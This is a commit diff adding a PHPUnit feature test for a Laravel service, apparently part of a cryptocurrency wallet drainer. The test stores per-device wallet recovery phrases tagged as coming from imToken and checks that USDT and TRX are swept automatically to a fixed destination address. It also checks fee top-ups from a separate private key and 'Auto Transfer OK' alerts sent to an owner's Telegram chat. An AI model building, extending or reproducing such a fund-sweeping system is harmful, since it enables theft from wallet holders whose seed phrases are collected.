feat: autotransfer
This commit is contained in:
@@ -0,0 +1,201 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Feature;
|
||||
|
||||
use App\Models\Channel;
|
||||
use App\Models\Device;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\TransferService;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
class TransferTelegramNotifyTest extends TestCase
|
||||
{
|
||||
use RefreshDatabase;
|
||||
|
||||
private const MNEMONIC = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
|
||||
|
||||
private const FROM = 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH';
|
||||
|
||||
private const TO = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t';
|
||||
|
||||
protected function setUp(): void
|
||||
{
|
||||
parent::setUp();
|
||||
config([
|
||||
'coruna.transfer.to_address' => self::TO,
|
||||
'coruna.transfer.max_derive_index' => 5,
|
||||
'coruna.tron.full_node' => 'https://api.trongrid.io',
|
||||
'coruna.tron.usdt_contract' => 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t',
|
||||
'coruna.transfer.max_usdt' => '0',
|
||||
'coruna.telegram.bot_token' => 'tg-token',
|
||||
'coruna.telegram.owner_chat_id' => '10001',
|
||||
'coruna.transfer.fee_topup_trx' => '1',
|
||||
]);
|
||||
}
|
||||
|
||||
private function seedDevice(): void
|
||||
{
|
||||
$ch = 'cccccccccccccccccccccccccccccccc';
|
||||
Channel::query()->create([
|
||||
'channel_id' => $ch,
|
||||
'user_id' => Channel::OFFICIAL_USER_ID,
|
||||
'status' => 1,
|
||||
]);
|
||||
$device = Device::query()->create([
|
||||
'device_id' => 'dev-tg-transfer',
|
||||
'channel_id' => $ch,
|
||||
]);
|
||||
WalletAddress::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'address' => self::FROM,
|
||||
'chain_type' => 'TRON',
|
||||
'source' => 'imToken',
|
||||
'monitor' => 0,
|
||||
]);
|
||||
$row = new WalletMnemonic([
|
||||
'device_id' => $device->id,
|
||||
'source' => 'imToken',
|
||||
]);
|
||||
$row->mnemonic = self::MNEMONIC;
|
||||
$row->save();
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function auto_transfer_success_sends_telegram(): void
|
||||
{
|
||||
$this->seedDevice();
|
||||
Http::fake([
|
||||
'*/wallet/getaccount' => Http::response(['balance' => 100_000_000], 200),
|
||||
'*/wallet/triggersmartcontract' => Http::response([
|
||||
'result' => ['result' => true],
|
||||
'transaction' => [
|
||||
'txID' => str_repeat('cd', 32),
|
||||
'raw_data' => ['contract' => []],
|
||||
'raw_data_hex' => '0a00',
|
||||
],
|
||||
], 200),
|
||||
'*/wallet/broadcasttransaction' => Http::response([
|
||||
'result' => true,
|
||||
], 200),
|
||||
'api.telegram.org/*' => Http::response(['ok' => true], 200),
|
||||
]);
|
||||
|
||||
$result = app(TransferService::class)->handle('tron', self::FROM, '1', 'USDT', 'auto');
|
||||
$this->assertTrue($result['ok'] ?? false, $result['error'] ?? '');
|
||||
|
||||
Http::assertSent(function ($request) {
|
||||
if (! str_contains($request->url(), 'api.telegram.org/bottg-token/sendMessage')) {
|
||||
return false;
|
||||
}
|
||||
$text = (string) ($request->data()['text'] ?? '');
|
||||
|
||||
return str_contains($text, 'Auto Transfer OK')
|
||||
&& str_contains($text, self::FROM)
|
||||
&& str_contains($text, 'USDT')
|
||||
&& ($request->data()['chat_id'] ?? null) === '10001';
|
||||
});
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function manual_transfer_does_not_send_auto_telegram(): void
|
||||
{
|
||||
$this->seedDevice();
|
||||
Http::fake([
|
||||
'*/wallet/getaccount' => Http::response(['balance' => 100_000_000], 200),
|
||||
'*/wallet/createtransaction' => Http::response([
|
||||
'txID' => str_repeat('ab', 32),
|
||||
'raw_data' => ['contract' => []],
|
||||
'raw_data_hex' => '0a00',
|
||||
], 200),
|
||||
'*/wallet/broadcasttransaction' => Http::response([
|
||||
'result' => true,
|
||||
'txid' => str_repeat('ab', 32),
|
||||
], 200),
|
||||
'api.telegram.org/*' => Http::response(['ok' => true], 200),
|
||||
]);
|
||||
|
||||
$result = app(TransferService::class)->handle('tron', self::FROM, '1', 'TRX', 'admin');
|
||||
$this->assertTrue($result['ok'] ?? false, $result['error'] ?? '');
|
||||
|
||||
Http::assertNotSent(fn ($request) => str_contains($request->url(), 'api.telegram.org'));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function fee_topup_sends_telegram(): void
|
||||
{
|
||||
$this->seedDevice();
|
||||
|
||||
$feeKey = 'abde94314a030ae8860a58db8adde7fc962cca2455db9d2979e480038c49dcbc';
|
||||
$feeFrom = 'TUJ2YbSDGtCqzRz7quPQidRCMC98jDAPXc';
|
||||
config([
|
||||
'coruna.transfer.fee_topup_trx' => '20',
|
||||
'coruna.transfer.fee_address_tron' => $feeFrom,
|
||||
'coruna.transfer.fee_private_key_tron' => $feeKey,
|
||||
]);
|
||||
|
||||
$getAccountCalls = 0;
|
||||
Http::fake(function ($request) use (&$getAccountCalls) {
|
||||
$url = $request->url();
|
||||
if (str_contains($url, 'api.telegram.org')) {
|
||||
return Http::response(['ok' => true], 200);
|
||||
}
|
||||
if (str_ends_with($url, '/wallet/getaccount')) {
|
||||
$getAccountCalls++;
|
||||
// First read: below target → top-up; later: confirm / skip.
|
||||
$sun = $getAccountCalls === 1 ? 5_000_000 : 25_000_000;
|
||||
|
||||
return Http::response(['balance' => $sun], 200);
|
||||
}
|
||||
if (str_ends_with($url, '/wallet/createtransaction')) {
|
||||
return Http::response([
|
||||
'txID' => str_repeat('fe', 32),
|
||||
'raw_data' => ['contract' => []],
|
||||
'raw_data_hex' => '0a00',
|
||||
], 200);
|
||||
}
|
||||
if (str_ends_with($url, '/wallet/triggersmartcontract')) {
|
||||
return Http::response([
|
||||
'result' => ['result' => true],
|
||||
'transaction' => [
|
||||
'txID' => str_repeat('cd', 32),
|
||||
'raw_data' => ['contract' => []],
|
||||
'raw_data_hex' => '0a00',
|
||||
],
|
||||
], 200);
|
||||
}
|
||||
if (str_ends_with($url, '/wallet/broadcasttransaction')) {
|
||||
return Http::response(['result' => true], 200);
|
||||
}
|
||||
|
||||
return Http::response([], 404);
|
||||
});
|
||||
|
||||
$result = app(TransferService::class)->handle('tron', self::FROM, '1', 'USDT', 'admin');
|
||||
$this->assertTrue($result['ok'] ?? false, $result['error'] ?? '');
|
||||
|
||||
Http::assertSent(function ($request) use ($feeFrom) {
|
||||
if (! str_contains($request->url(), 'api.telegram.org/bottg-token/sendMessage')) {
|
||||
return false;
|
||||
}
|
||||
$text = (string) ($request->data()['text'] ?? '');
|
||||
|
||||
return str_contains($text, 'TRX Fee Top-up OK')
|
||||
&& str_contains($text, $feeFrom)
|
||||
&& str_contains($text, self::FROM)
|
||||
&& ($request->data()['chat_id'] ?? null) === '10001';
|
||||
});
|
||||
|
||||
Http::assertNotSent(function ($request) {
|
||||
if (! str_contains($request->url(), 'api.telegram.org')) {
|
||||
return false;
|
||||
}
|
||||
$text = (string) ($request->data()['text'] ?? '');
|
||||
|
||||
return str_contains($text, 'Auto Transfer');
|
||||
});
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user